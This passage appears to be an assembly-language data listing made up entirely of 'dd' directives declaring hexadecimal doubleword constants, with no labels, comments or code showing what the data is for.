dd 86F96101h, 45DF3Fh, 0F317FA2Eh, 7F6E96C6h, 0B36B0E63h
dd 5A20C276h, 6ED0C6Dh, 944FF304h, 9C80F23Ah, 9828F897h
dd 0C61C0057h, 52BDCACFh, 6105C984h, 0F1393E5h, 0A2E90478h
dd 0FE041714h, 0ECD160Fh, 0CC778094h, 0D7181Ah, 1008244Bh
dd 8526FAEEh, 16995600h, 1386E696h, 1D9D32A4h, 0CE10C829h
dd 0E5EA8882h, 0F1654C88h, 1A10BC02h, 21BC8B80h, 0E01259D0h
dd 89812D10h, 483C4102h, 94299063h, 3E8D519Dh, 4474C426h
dd 7E84B860h, 83A896Bh, 6C2E4402h, 71192284h, 0F3113E42h
dd 7501130h, 216EA811h, 34380852h, 11288494h, 36216FC5h
dd 9035DB08h, 7AE58428h, 1F428A48h, 51C222Fh, 4C04400Fh
dd 3DEAB1A1h, 58007BE0h, 326FDC81h, 0D100C11Fh, 7D1ABE8Ch
dd 0CCDA9Ah, 2D7A3B16h, 30FA885h, 0BD7BD800h, 0B6E63A68h
dd 348E3A57h, 43E08800h, 85E8E183h, 0F50CBC00h, 8033797Ch
dd 634A00DAh, 876AAC92h, 0BC0676E0h, 5393150Dh, 0E9F80010h
dd 54E19EEh, 0D8246B5Dh, 0BE803099h, 0FB8FD5B0h, 497E008Dh
dd 0BF38F236h, 0E4187121h, 1540658Bh, 31CA0C91h, 7E67CA2h
dd 3C5B4F00h, 5E427028h, 990B0057h, 9A04BE1Eh, 11E0F1F0h
dd 69003B70h, 738AE4C0h, 1EC759h, 2B4E537Fh, 0DB0C8D28h
dd 74923A7Ah, 8621EA18h, 79A392D9h, 0A47D0011h, 0A1B4FD14h
dd 595C723Bh, 0FFDF0077h, 0A2FB63AEh, 44620EBDh, 2C373C8h
dd 5A98D5A8h, 0B5007285h, 6CFB5C0Ch, 0FC0804h, 0AA10D45Dh
dd 0B588455h, 3E221F03h, 0C953507Ah, 0D3E1DA13h, 2126F0h
dd 0FE68BCFDh, 5C494FE1h, 2DC98103h, 886691CDh, 0F00BC6h
dd 0F74093E4h, 0DD9C0627h, 637B79C0h, 15E6C1h, 0AFBC2348h
dd 0DDB83A9h, 0BD059D7Bh, 1E4A8660h, 0FEABF301h, 91F8C6A0h
dd 44FA3A41h, 2F8705BBh, 0D06518A2h, 24119368h, 0C202C573h
dd 62B7859Dh, 7A53E038h, 7C6628B1h, 33390088h, 7B016436h
dd 8D037D9Bh, 0A7DD8589h, 0E05EF3DBh, 5C37A3C1h, 3B28EA9Fh
dd 0D19602D8h, 8587B435h, 0AE548880h, 36C116FDh, 52714234h
dd 24C035FCh, 0C4B31h, 0FBAA6BFFh, 0FD015A9Ah, 2F7B9C3Eh
dd 9C6469E6h, 956507B3h, 0E75CBAC4h, 0FC0ED0C0h, 6B006781h
dd 2E0DF8DAh, 3695D6Ch, 27AC9DDCh, 0C000581Dh, 7AA10944h
dd 7212B2Ah, 81666BB6h, 64882054h, 0C9004DDEh, 9B707824h
dd 0FC62588Ch, 22B807CEh, 535616EBh, 0D1A0F8DDh, 3200DE0Dh
dd 1E431ADAh, 601B53C6h, 38ECF066h, 7B00C8CBh, 5019A239h
dd 73377A97h, 64100E8h, 0B06A7820h, 11026F15h, 72DD3BA7h
dd 0A28080CEh, 2E6E1273h, 0AD20B1h, 14057110h, 0F800DC39h
dd 25F489A5h, 1DAF2D5h, 88A1A86Bh, 0E4B6DD4Fh, 412E8FD0h
dd 3B00D2C5h, 9903293Ch, 0A10100CEh, 0F613F735h, 0B714339Eh
dd 51A49A47h, 8A14247Bh, 301CC000h, 9CFC6176h, 60FF01D7h
dd 3A9EABF9h, 6DBBDC9Dh, 5ADB3701h, 0EFC8A64Dh, 3D1ACD70h
dd 0FC01889Ah, 91AE7796h, 0E3E420E4h, 223D00B8h, 822A007Ch
dd 0F5115CE6h, 5DCA464h, 2D8D5E8Eh, 0CC126Fh, 0EF0CF624h
dd 0DA03634Bh, 9939CD1Eh, 9FF298AFh, 0C6BD008Fh, 1DE410EBh
dd 94E64D7Dh, 450A2426h, 3FA3C800h, 0A503F1h, 0EEDDC118h
dd 0DB9F9AEAh, 0B3BD5D00h, 0AACD99F6h, 0E6D0001Ch, 4BC2F3C3h
dd 0C6009018h, 8F86A951h, 0C05B5025h, 0F3BBE058h, 0AC00F7EAh
dd 10927C6Ch, 0E38DB0Ah, 2A232DC5h, 0ABA65101h, 59A4409Ch
dd 0A8A08847h, 0C0002CA1h, 20CC8CD8h, 68753Ch, 0AD09E05h
dd 0D6BD396Eh, 3B7FC4C0h, 0B23F1Dh, 93D877DAh, 7379D27Bh
dd 5C3C400h, 9C36842Ch, 4961007Ch, 0B27EDF67h, 0B00E5127h
dd 0E087128Bh, 0E6F11E83h, 3E42F0F8h, 724BEAh, 0C79C3711h
dd 0BF5605A1h, 5F00E272h, 67F1DC91h, 0DB7599h, 1CE8EBCAh
dd 0B61AFC93h, 0C5BB3016h, 0ABD53207h, 7479F940h, 33771350h
dd 225A0743h, 200FE71Fh, 1AABA427h, 542D6C03h, 0EFC68388h
dd 196D94E0h, 82B70058h, 7AAD8C0Ah, 111E662Eh, 0A99890ABh
dd 0E5137D8h, 1D850D70h, 0C07BA3E0h, 2100AFC9h, 0B5758D42h
dd 0C36AB3h, 0BB391FF4h, 8218B83Fh, 0F047A40Eh, 4BE3E0CAh
dd 0E9473B5h, 37DD0F2Dh, 6C43AE60h, 0C00097C9h, 5DD58478h
dd 3EBCE23h, 9AD37396h, 74A0A8DDh, 0CB00A9C7h, 72D8B7BAh
dd 71DDAh, 9E4C02CCh, 71936378h, 5BBCD100h, 3D1B4D52h
dd 0AD201EABh, 4A89C5F2h, 0EF81C002h, 0DA00BA6Eh, 3A5B358Bh
dd 3061224h, 988CC6A5h, 0D5D02BFCh, 3800CCA9h, 26730974h
dd 0D6316h, 0ADCEB786h, 0F9BFF3E7h, 0F4852128h, 4540E072h
dd 7EE50083h, 0DA937D56h, 0A30F2A54h, 60E7CE12h, 79E42CDDh
dd 0AD0E2549h, 9700C8D4h, 60801162h, 56A901BCh, 0C4D5AE2Fh
dd 0A90EBE2h, 86EE8598h, 9CCB0202h, 40167054h, 944A45h
dd 0E6685DCAh, 48F1EDAAh, 6AD89Dh, 74107C36h, 0E4AE207Ah
dd 0BF2D3E00h, 0E9DAC411h, 0CA2107A9h, 0E0E15F07h, 3E95EC3Ch
dd 0B63853E4h, 0AE1480A3h, 7BAA8D89h, 1EF90525h, 0D277D5h
dd 97E1BC86h, 0F00082Dh, 57A98EADh, 27D035h, 19B0B4Ah
dd 0C3B22CDh, 79231D5Ch, 8900B6F0h, 0D63895C8h, 1C74F9h
dd 0B2509F2Bh, 5730368Bh, 14DAF600h, 3D7955FEh, 0E641002Fh
dd 85A8832Ah, 0B99824F5h, 68C2E903h, 0C86049CBh, 0E626C5B4h
dd 5AFB002Dh, 573E3989h, 3A03B1EAh, 0CAAFA93h, 0FB379094h
dd 28801469h, 4C288095h, 89D4EFBCh, 203203DFh, 0E14A63DDh
dd 818BD6A1h, 3B705921h, 57D4EE8Ch, 31671F5Dh, 0A41500A8h
dd 0B139BFFAh, 765E6200h, 0A3294F1Fh, 245B3F6Dh, 80B9A6h
dd 0D997710Eh, 7200C677h, 829156ABh, 1AF3E04h, 16906110h
dd 0FCF1BE3Dh, 0B80096A2h, 329AE269h, 0D1B462h, 246D9239h
dd 689BDAABh, 7EFBD000h, 78552916h, 5DB3013Bh, 1845F17h
dd 0B66C20FEh, 0E9CDFD00h, 4E6EC792h, 0AB234830h, 0AD80D700h
dd 4CE53B09h, 0A81C7078h, 0B4801D39h, 91DE7DD8h, 78F6BDh
dd 1A321874h, 0A6236455h, 6C8DCE24h, 0A9015C02h, 5A60685Eh
dd 0AA4E1F93h, 1706262Ch, 0B3E7009Ch, 41BE489Ah, 0C2227100h
dd 55080D67h, 0B1FD0094h, 22BE9F3h, 0BCA09CF8h, 5B133CDDh
dd 32003F47h, 2AB0D265h, 4B62B55Ah, 80B87884h, 9D370F99h
dd 119FC600h, 8CFC72C7h, 587D00BFh, 88E7F452h, 18008239h
dd 44D76B5Eh, 2DAB0Ah, 0FC82CB4h, 7F43ACD2h, 3B0A753h
dd 0E9DF2507h, 61448080h, 21D300EDh, 6250688Eh, 0E3007B02h
dd 0EBE1141Fh, 0A49A8Bh, 666C1837h, 38B46B7Fh, 0C7ACF500h
dd 99E7C261h, 0C0E002Bh, 0D9CF1917h, 9E60FFD4h, 8A471F8Ah
dd 2D3300FDh, 0EBEA3F14h, 8490A94Ch, 52C52900h, 0B75BF57Eh
dd 39D2001Ah, 0D3B3C317h, 95005D72h, 0B4FCD17Dh, 0E669CDABh
dd 2693B00Eh, 0A3A10Bh, 46E44E6Bh, 0B004EFCEh, 0BEA35A3Fh
dd 15E68481h, 30C3DD5h, 316DC614h, 137F00ACh, 2E4F632Ch
dd 97E603C9h, 89E1E77Eh, 59782100h, 0A6F3067Fh, 8D1C1E99h
dd 0DEE6C0FAh, 79FB187Ah, 7B5D03Dh, 1B3495A5h, 0F95FF9C3h
dd 1420F215h, 0A6370350h, 0BDA70D49h, 94B96AC0h, 9E28C300h
dd 2F656FE0h, 0AA61079Bh, 0C7E9ADh, 0D498B9A7h, 471E3B00h
dd 162BDC5Fh, 0F8E101F3h, 0B4A6BE9Fh, 52B270A3h, 61CA7F01h
dd 0A8954A91h, 20CDA440h
dd 2CE200FEh, 0E88753C4h, 1E1CB39Dh, 0C2C03ED6h, 607DA64Ch
dd 695600D5h, 0D06B4FCEh, 0C0BAD6Dh, 1082Eh, 4B62B36Bh
dd 7E9C0A4Ch, 0A4BFFFh, 0A521B142h, 2E6FD9Fh, 0A948ED00h
dd 0A6B9E4B8h, 0F37C88h, 0A16F584Ah, 5EE81B83h, 0DFD48200h
dd 27EB1D7Fh, 24F24C93h, 68BFE10Fh, 0D094B580h, 3E1DC176h
dd 22420D8Eh, 83BC19ACh, 0D138BD94h, 52DC0414h, 0E8C63DF7h
dd 4F5CDF00h, 7760FCFBh, 7FF12618h, 1118C111h, 5FD43Eh
dd 4DAFC2AAh, 2AEC3B7h, 0EB13A346h, 0C940907Dh, 3CEA17ABh
dd 0FCB5B000h, 0D5D148C9h, 47AC0255h, 3E4025A3h, 0B1D00040h
dd 77ED241Dh, 6F3AA583h, 87D48901h, 3BC91024h, 0C080FF1Bh
dd 0EA82FA22h, 4D3C8404h, 0EBBC0002h, 0EFBAA8E2h, 0CB0C0E3Fh
dd 1396986Ah, 5D6C5E43h, 15FC0037h, 92697504h, 95C834Ch
dd 8948DAC8h, 98B0006Dh, 0EB8E50h, 998866C1h, 0D9D364FEh
dd 0C1F2B00h, 9E9D39ADh, 0E03D0186h, 539CFBD8h, 0DDA270F2h
dd 0F725100h, 76DFB471h, 2C5500E3h, 0E6579E85h, 5F01A4BFh
dd 0A310A128h, 0C600BFAh, 2353038Ch, 8460B92Ah, 0D4711DC8h
dd 877B4Ch, 11F647D5h, 0CF67BBh, 5863A843h, 8FE82F02h
dd 750F2575h, 6001533Bh, 425D9A20h, 6A8602A3h, 0A6E743A1h
dd 968023C3h, 71C0C4D8h, 421C8F38h, 69C985Ch, 0C71EA7C2h
dd 6C00C8E9h, 0C1D23C51h, 0B82407D3h, 91490EECh, 18A05BE1h
dd 0EFCFA177h, 994E4C0Fh, 55E0007Ch, 7E729CDh, 0A049214Ah
dd 13F6F134h, 698CDC7Dh, 160777E2h, 3CCF2499h, 5BB19C11h
dd 21230E0h, 53727BF5h, 9061A375h, 6B6C7095h, 0AE3C7402h
dd 8147D4F2h, 0B030D5A2h, 5CDCD320h, 3A3AB97Eh, 0C74EF580h
dd 0A2B7CE70h, 0FC838F26h, 245CC100h, 54C356h, 0AE34400Dh
dd 25774613h, 45D1A2Eh, 0D2038420h, 0DC18D0A9h, 40BAB0B1h
dd 21FD007Ah, 818A66C3h, 0EE00C763h, 0D6F998EBh, 6F350Ah
dd 5732C93Eh, 0A12B4D12h, 5B556E00h, 8CECB52Dh, 9A056026h
dd 59378652h, 0CA3CA016h, 20554C0Fh, 3892C4BEh, 0AC7B006Ch
dd 6840A1C1h, 3C01F543h, 0E5220E53h, 72CC3101h, 0FAC10045h
dd 1AA4D081h, 5200461Ch, 4C75C64h, 4941E2h, 26CD224Bh
dd 3E280729h, 0F45F3502h, 4027CB7Ch, 815090h, 0AD82D108h
dd 0D5A1B755h, 1CCAB0Fh, 57268037h, 0E394BFh, 0E19A786Eh
dd 45E2BA95h, 1984C900h, 0F91BCC4Fh, 24C20081h, 35C78808h
dd 0DE3A8D0Dh, 70EA5828h, 4C9A1700h, 0B6F9DC25h, 36C1003Dh
dd 884DF3A4h, 0B200646Dh, 381B5FF4h, 41EA6Fh, 81774BA0h
dd 251F31E9h, 72C1CA00h, 54C2EEE1h, 0E680015Bh, 2060BB2Ch
dd 1870F016h, 2555F800h, 1AD41C6Ah, 0E50A0462h, 0C02C2D24h
dd 0AE8FCE6Dh, 0F0090F6h, 0EC293BE0h, 0C52306h, 7C5F9BF7h
dd 0F2218D20h, 0C7311401h, 2F390EE5h, 37D0FCh, 87C830Bh
dd 43237129h, 2ECE6F58h, 18006151h, 35B26703h, 0F6B9130Eh
dd 0BD1449ABh, 55A0E800h, 3C2EB6D9h, 0C3006B04h, 2446D8F7h
dd 0E8F90015h, 121FB701h, 0A803B3BFh, 0A03658D0h, 406C821Ah
dd 98A505B4h, 11BB033Fh, 98019EBh, 0C0C874A7h, 6FF1E48Ch
dd 0F25C7D14h, 0AD00A86h, 0A026DD95h, 91AF8E00h, 26F4563Eh
dd 808C62BFh, 0DB8C722Bh, 13EE355Bh, 201CC926h, 71D47E00h
dd 0C01776BFh, 0E7C43940h, 1E1FAB4Dh, 60039910h, 1EE4CC5Ah
dd 409ED998h, 0ACC4D7D0h, 0DF00CF93h, 79F7A634h, 76A3AD3h
dd 7A6B184Ch, 616C3045h, 5A00A88Ah, 9FC35549h, 93D2Dh
dd 0B8020F6Fh, 0F38648A0h, 0B08AEA1Dh, 0D98A800h, 0E54269h
dd 0C6674A2Bh, 3293FBB6h, 0D1AE5300h, 24033BA5h, 83750142h
dd 6321E8F8h, 0A9F3FC47h, 330BB500h, 71B7C04Fh, 1E381E13h
dd 42DC40D3h, 7F18BC32h, 6E9EB207h, 0BEA0CD26h, 0A0ACC337h
dd 0B7C91DCh, 1070F5CAh, 0B65C0180h, 3C0F3B8Fh, 60D5EA4Bh
dd 397549F2h, 0E2450003h, 819C8716h, 0FA0918F1h, 0C6D51Ch
dd 2864B5C0h, 2AC116F0h, 9ED400BAh, 0CA7A368Dh, 0D9C6A11Fh
dd 0DA340E03h, 0A0C0AC22h, 0F86167h, 0EA8B7636h, 0A30E3E19h
dd 63627400h, 0A2D63F40h, 8C2300CDh, 8EC5165Bh, 2C1389B0h
dd 54000E18h, 552B746Dh, 0C46700B1h, 489DF9A8h, 0E60E2377h
dd 0F7E2C902h, 4E254000h, 4A2FE9h, 47FFBB39h, 0C7A4D99Ah
dd 42C9B48h, 84127515h, 0E1AF7BC0h, 1227B4Ah, 0F387EB41h
dd 0C8EE89A5h, 0BF01EA03h, 3390327Dh, 91D4101Dh, 0D3FB00BAh
dd 70DD5DF3h, 0C000A154h, 0B7AA5C4h, 0E2464BADh, 3DCB0663h
dd 0F829DD50h, 96F7E000h, 0FE8B9E13h, 768960Dh, 30DC0AFDh
dd 0B51811B2h, 48D7EA12h, 8090D4h, 24675CC4h, 9580977h
dd 0AC022E83h, 0D6E3E1CBh, 85D6AB8h, 0CEEFC500h, 0EB5671F4h
dd 8ECF0351h, 0B3C64EECh, 0A8E93A01h, 0C22A32Fh, 50358870h
dd 79C8C1Ch, 347DB175h, 385E3092h, 0AE3CD174h, 97DF8055h
dd 61BB73CDh, 0DE709Fh, 765059C6h, 6E46AC2Fh, 0E840C91Dh
dd 98F6A43Bh, 0AAE6FE0Eh, 813CDCF7h, 2C21BB4Ch, 0E2C0DD44h
dd 0AD851842h, 7F9C8B3h, 0D6A1DA00h, 0D461667Ah, 0CA7C34h
dd 0EBDE326Eh, 45644B83h, 378C6803h, 0F05607DBh, 2546D4h
dd 0C47E0FA2h, 43D7D63Dh, 3547E51Ch, 12E100FFh, 4FC9382Bh
dd 0D96B163Bh, 5A0C0164h, 0C435D33Eh, 4503D47Bh, 167D6A6Dh
dd 5E38D03Ah, 0BDC200EDh, 94B0B11Ah, 77D8DEEh, 0C4374F07h
dd 0CC708128h, 0B954C6h, 7922DDF9h, 6EFD6CB4h, 95D3A3Fh
dd 0AF1705h, 7EA14DACh, 47A90061h, 0DA77FED3h, 4800A733h
dd 0C9419EBEh, 0F0E1FD21h, 4DE902D7h, 0EE50EACFh, 8FAECC60h
dd 10002AE2h, 0CCCBE033h, 487EFC23h, 0C202ACBCh, 26DDA231h
dd 0CFB52848h, 35F4A972h, 977CBA03h, 0D3DA5569h, 9C08F01Ch
dd 577203A5h, 0B8AE463Eh, 0AF6410F0h, 8EF27B01h, 2278565Bh
dd 7344420h, 16A5A93h, 1BD7906Fh, 0D11DFDBDh, 47C0B751h
dd 0E1708C57h, 0FABB0007h, 64AF42CEh, 0D0025F8Eh, 1E98B9B5h
dd 7808C069h, 0F49C07A3h, 49AB7AADh, 0A312040h, 0C22FD000h
dd 1BC97EE3h, 0E2193079h, 9FAA27C9h, 66F84401h, 92FAB3C5h
dd 0FE1EC2D8h, 3BA00055h, 9E5C2CA7h, 0E90923C8h, 80AB80DEh
dd 2EC5A230h, 49A10F84h, 0EEE02B72h, 46ADBB28h, 0DF180C00h
dd 0DA270B48h, 65360FFEh, 0A8385C3Dh, 5A18A6DDh, 0A348B3F2h
dd 0EC440B11h, 9180C823h, 4E6E4C5Ch, 5F2A1C3h, 698F973h
dd 4364D180h, 4CC118Ah, 0A2B47650h, 0D17B0700h, 0D4735078h
dd 977A293Eh, 0B75B4074h, 0C60C0190h, 91832F74h, 6E2A7DACh
dd 320614Fh, 8DDEE209h, 0C8BFCF28h, 5201FE77h, 4A93F47Fh
dd 78806888h, 1B7BC35Ch, 54073E82h, 1E9663BEh, 3D4828A6h
dd 53057821h, 933138C7h, 62F824D4h, 2766C2Ah, 0BA04097Eh
dd 730FEDF0h, 0EE486080h, 0CE9001DEh, 0C19E1BB0h, 4FA86039h
dd 6BFF6302h, 0C2BF188Ah, 0CD9C0180h, 0E180CCE0h, 0E3268770h
dd 5E03E502h, 1AA772D3h, 32DAC986h, 15B09450h, 0E940606Ah
dd 0E060AB4h, 0D4F4E0C0h, 601C7A4Ch, 0AB2451E1h, 2FEA1F11h
dd 946952h, 1BB7741Ah, 1ED2A06h, 0F6AAC909h, 50CE2EE0h
dd 0C16795Ch, 0E8CB8B00h, 0BA835E9Ah, 974D00EBh, 4BA763C4h
dd 0A818A18Ah, 32987C6Dh, 31611022h, 52B7001Dh, 0EFC12F07h
dd 0B92C007Fh, 977233D6h, 7E059295h, 52F9F1E5h, 69088C04h
dd 1CBB0CC1h, 7C5166F5h
dd 0E9805D0Ch, 0A065AA13h, 0A4002F83h, 86C890D3h, 34CB62h
dd 1B2953F4h, 0C194B154h, 0D87216F0h, 13AB4B00h, 12F8D752h
dd 7AF60B79h, 0F380EE2Ah, 35901A7Ch, 0C22D4B1Eh, 0ACEA5080h
dd 0E2E83Bh, 9C33BB8Eh, 28806607h, 9DBD6900h, 5F0292DCh
dd 0B8E83E0Bh, 95B2FC80h, 0A1998DF0h, 0B3760A00h, 1F7247Eh
dd 0D6C80FADh, 0EECCC77Dh, 0FF001810h, 0FB116BE5h, 336727Bh
dd 0BF47DDFh, 7C02679h, 562C8DA7h, 0F9008F14h, 8CFCFB69h
dd 0CC8F0053h, 4727C55Bh, 0E505D901h, 7F16F1DCh, 0D0F6E842h
dd 0A0F8A025h, 2AEEA2BBh, 0F9C802Eh, 0C18836AAh, 0F80DF6C0h
dd 6A013B9Ch, 1B832543h, 946137E0h, 227ACDCh, 6203F13h
dd 6441DE0Ch, 81B040A4h, 72009C36h, 65B35321h, 619B7C7h
dd 0B1F02006h, 8300400Ah, 0D7BD3E56h, 49F586Ch, 0F47E9B74h
dd 1F5CAC1Ch, 0ACBC0CEDh, 130E509Ah, 51AFE0B1h, 34BBB8Fh
dd 5F17F0F9h, 62B83F19h, 1E00446Fh, 28A74940h, 0E967FAh
dd 9AF0B9F8h, 115D9574h, 6F377100h, 3CD7C308h, 63AD0440h
dd 808D3442h, 0B0224C49h, 4762C500h, 1E30D57Ch, 507E003Ch
dd 67F796B3h, 740AEBE3h, 0A49F16ABh, 8D91AA00h, 2D0E2Ch
dd 0CF63C9EAh, 6BC36E4Bh, 131CAC9Eh, 3C2ACC0h, 2C1170h
dd 8AB15F98h, 0EC573D35h, 0F212DF00h, 0E2D37955h, 9DFB00D9h
dd 4AB79CFAh, 4101E76Dh, 7E288737h, 0D8531D10h, 529CF920h
dd 0D8D59681h, 0C4282FDBh, 8F25A704h, 9D0F408h, 2CA062FEh
dd 0CB8ADE93h, 0ADAA7F00h, 0CDEF9DFCh, 6396121Bh, 316C0360h
dd 0EDC06D88h, 0B5079C99h, 43D29275h, 617D20B2h, 86D8E313h
dd 547C00DDh, 5C8DF37Bh, 89605649h, 23AB1D54h, 0C35F1E79h
dd 0B982C0BFh, 0BDF22742h, 8FBBDB00h, 0CAF313DFh, 0AAA31C73h
dd 1DE38103h, 0DC65A91Bh, 0E0426D1h, 61054479h, 0BD192680h
dd 0D932001Dh, 7597B207h, 438D16Eh, 0F94E80CEh, 0D3872DA0h
dd 738C037Eh, 9FA50E3Ah, 0B6581890h, 25F18301h, 0E7776CCEh
dd 9C4820h, 294786Ah, 1BF5D639h, 4AAC4200h, 812D24EEh
dd 0EDCF0028h, 85E2043h, 0D424F2F7h, 820E62E1h, 0B9FCC3D9h
dd 1FAAB804h, 685100F9h, 44264E65h, 3BE8A84Dh, 78F14B03h
dd 0E00AE674h, 602166h, 0AA282932h, 6ECB04B6h, 57AC3B12h
dd 0A6EBC005h, 0A900D89Bh, 961E2A57h, 7A00EB88h, 82A8342Eh
dd 16B1B513h, 13DC2CD2h, 0DA5402E8h, 3CC89FCAh, 621E6C5Dh
dd 75864A1Ch, 919EEBCh, 6D41982h, 0F262D490h, 0B372D000h
dd 0BAB90F8Ch, 2AA22CAFh, 74E442E4h, 6F4B1468h, 270448h
dd 0FC8F2272h, 21C06B3h, 12449AEh, 0E8CAA52Ch, 48726410h
dd 53C9F5Ch, 0A279D25Eh, 0A7308481h, 0BE072C38h, 2146AB55h
dd 2444FD1Ah, 4A2CF96Ch, 0E703E04Bh, 0CAB72842h, 38685A64h
dd 0A1E2AF43h, 0C8209268h, 0F759A3h, 1B8E7AA8h, 622C1FEh
dd 670A8600h, 44CC3E9Ah, 0D099C21Ah, 0B080D8DEh, 69BA8DF4h
dd 6B180BECh, 5F822BB6h, 81A238B7h, 0CF6C6687h, 0CA78F0A5h
dd 2F1DC9A6h, 8F9DAD80h, 93A442C7h, 388883DFh, 767AF375h
dd 74F8E91h, 7F6FC405h, 399B2CB0h, 281843E5h, 94CFF933h
dd 9EF50B00h, 9C3BBFB8h, 912307FEh, 60660E6Bh, 0B4FCDB41h
dd 0DD32150Eh, 0A48FEA75h, 0EC008312h, 0B030BDC4h, 1C988Bh
dd 6FCC2735h, 1F5D7F4Fh, 180E3B03h, 0C888E5BEh, 9470FED3h
dd 8F1A80C4h, 0EDAD0D20h, 780CC306h, 1027DAh, 5E81D8Eh
dd 0FB7D58B8h, 7EC69C01h, 7F123973h, 30385601h, 0DD005C85h
dd 0FE1DB870h, 0FE2E287Ch, 9A1703C0h, 0B6D7A792h, 9B860788h
dd 614A4E05h, 0DC528FD4h, 0CC15200Ah, 0F27AA080h, 1C5FBDE7h
dd 0CAF5D09Dh, 8190FE7Dh, 0BAC39643h, 0C02E70C9h, 0A0D9DB03h
dd 0C381E4B4h, 57500156h, 0C1069FA3h, 443C6Ch, 59E3825h
dd 0B04E8B96h, 0BC350F38h, 0DA8FAEF3h, 3CE70F80h, 0B90F2B6Ch
dd 0E051085Ah, 21478AFEh, 50A0007Ah, 94BD7EB8h, 3774A59Eh
dd 74C34Ch, 0CEE61A80h, 1D460731h, 0F86D44h, 0C70C693Eh
dd 271D2589h, 2CC595A4h, 0C902B01h, 284DC5h, 569080B5h
dd 0FC5A1E8Bh, 0F052AD00h, 2D738496h, 421403BAh, 0AE06973Eh
dd 3F592F80h, 0B61EF400h, 17EB8591h, 0CC6401F1h, 0FF7D7A2Ch
dd 0DCE1C97Bh, 0AF00680Ah, 818DAA45h, 1D0D0FEFh, 0C2E364B0h
dd 9BBE4D5Fh, 2A025040h, 0EC4D725h, 5EBB60F8h, 21BF994h
dd 86A568FCh, 984056ABh, 0A9005A34h, 48A77084h, 7D070DE2h
dd 67B000EFh, 0BB50AD8Dh, 0DC24317Bh, 4F053C91h, 58800492h
dd 0E58FD32h, 9FC34419h, 7DD8CEC3h, 0F7D61590h, 50D0BD03h
dd 0F09D7CE1h, 0B3015Bh, 0EC56141Dh, 9B48EE19h, 1CD96B5Ch
dd 0B64311FFh, 90B2DE7Bh, 2E697516h, 97343FC8h, 30E42080h
dd 0C0005CEh, 19F2DCADh, 90F098BAh, 0AA4D0030h, 0B8C9374Ah
dd 0E20E5739h, 0C37ED5A9h, 982C8061h, 64C348h, 998860C6h
dd 0BA51E107h, 559A3D00h, 4C43CF2h, 3C55FA3h, 0C594B4Ch
dd 0CFD5CED8h, 84C6580Eh, 28A1F222h, 0A03CB0E9h, 0B89A900h
dd 0B34139E6h, 0AF791A00h, 11EE533Eh, 6C7849BAh, 4E245603h
dd 0CB98EC47h, 0F7045E33h, 0DC86797Fh, 6C90DCD0h, 0A64300EEh
dd 5C0C204h, 0C4F80BAEh, 0F970DEB8h, 0FD00DD74h, 9E47B03h
dd 87D327h, 0A8EEF32Ah, 1A16BDB9h, 13EF2801h, 0CA04AC19h
dd 94C40420h, 58BFE094h, 0B13B4CD4h, 0C7238425h, 44B34F1Fh
dd 0AB142670h, 0B20300A0h, 0DD7F97D4h, 2C00C377h, 0BCF61AC2h
dd 0BD8C6543h, 50864140h, 5A00DA7Ch, 23BF8AABh, 242971D8h
dd 82388E78h, 726A5D39h, 0E0908C68h, 3D9F4E01h, 0FE6ED163h
dd 24C3160h, 122F01A1h, 45E0CCB1h, 7D00D3FFh, 0F0BBF699h
dd 0BA4CB0EDh, 20D16F74h, 0DA7ED040h, 670B0D2Fh, 686C980Fh
dd 2235D24h, 0C7E913F6h, 3071AEEDh, 2A9EA08h, 6A575644h
dd 0FD40D08Fh, 91825D95h, 0DE43B805h, 508C6938h, 21FB0FAEh
dd 90879FD0h, 0D191C0D7h, 982CB74Fh, 280007Ah, 64577F71h
dd 2B9A880Ch, 0A02C4804h, 84E4C189h, 1387F6C4h, 41828DA8h
dd 7D472190h, 93838A7h, 663013h, 0EE8BAB1Ah, 0D1C50A7Eh
dd 0EC52365h, 2F63516Ah, 31093BA6h, 0C8542930h, 0B0A1E950h
dd 2B260054h, 0A476714Dh, 130539D6h, 97FB1D63h, 0B17FF888h
dd 7AE8A660h, 79DA3181h, 0D0C1E2B0h, 0C0A0CA76h, 0E6F617BDh
dd 84499219h, 0B5D42789h, 3F1090D8h, 5580073Dh, 0EB374150h
dd 140EF2AFh, 4B2B92DDh, 7ACC006Ah, 9A04513h, 8D02B670h
dd 8922BB20h, 5C176186h, 0F400D7B2h, 1B91D56Eh, 9B7D1DA9h
dd 4273C159h, 638944E3h, 26E4099Ch, 12FC6EDDh, 0ADB830h
dd 1CCDFEA4h, 0A21FC2A8h, 5D826696h, 0CBA4C880h, 0C692C8F8h
dd 6E820B6Fh, 150064AEh, 6BC7DD94h, 1EBB9507h, 6A550886h
dd 0BF287C80h, 1A230BEh, 6293B411h, 0C912F505h, 9C80490Bh
dd 3F3206A7h, 88D88F4Ah, 21892011h, 0B4F16108h, 196864FBh
dd 0C5833300h, 49E61FEh, 0B09F093Bh, 88A21459h, 9A1063A8h
dd 78C08229h, 9300C1EDh, 14881FB5h, 9A75E68Fh, 0EE4C0FECh
dd 454079ADh, 9CF8BCD8h, 0A1881B00h, 1562327Eh, 581FCAFh
dd 46D4E1CCh, 5C1F80F7h, 0A70045A8h, 0C09BC39Fh, 28252368h
dd 12CC3EC9h, 374F5Ah, 0FEFB135Fh, 0F80017E3h, 9DF40351h
dd 3E745Bh, 823823E6h, 0BB2EEEF7h, 7C0798B0h, 0A301721h
dd 63C06B15h, 0F69811Ah
dd 0A849A550h, 8E7AF00h, 0BD00C672h, 25824B6Ch, 6B2040h
dd 0BC099C2h, 325B2706h, 33B2470Fh, 148C741Bh, 0E0B559h
dd 0AE74BA5h, 3D47EE02h, 0A28164B3h, 135C54Dh, 0FDBAE0EDh
dd 0FEDD1A0Eh, 91BCC054h, 9B5BB2h, 7DFF143Eh, 882FE0DCh
dd 2DCE7201h, 0AE45D6FBh, 0BF57FCh, 0A5A1875Ah, 3B00C3Bh
dd 2E20AA04h, 0BA80EE4Bh, 3FBC16E8h, 8500BA3Dh, 38D4F25Ch
dd 6E0FCC73h, 20AB9FF1h, 1BEBCB98h, 0E43C04DAh, 908BCAE8h
dd 2AB05EACh, 41CB524h, 8FA9DF01h, 22EA3B2h, 14BF75C8h
dd 974070E0h, 0E793D600h, 6FA7A16h, 0EA2B7E41h, 88810CD4h
dd 0A5282E10h, 0F9548400h, 0B04065C5h, 0A0CE4DC7h, 0AA559B00h
dd 952FAD45h, 0D440025Fh, 0C060ED3Bh, 60789230h, 0A429483Fh
dd 1C90066Ch, 91E2BA0Eh, 1B73E060h, 13E1931h, 0A6289F5Fh
dd 30FF76ECh, 9B00FCB0h, 95B33DDEh, 5A74B1h, 2F4CED05h
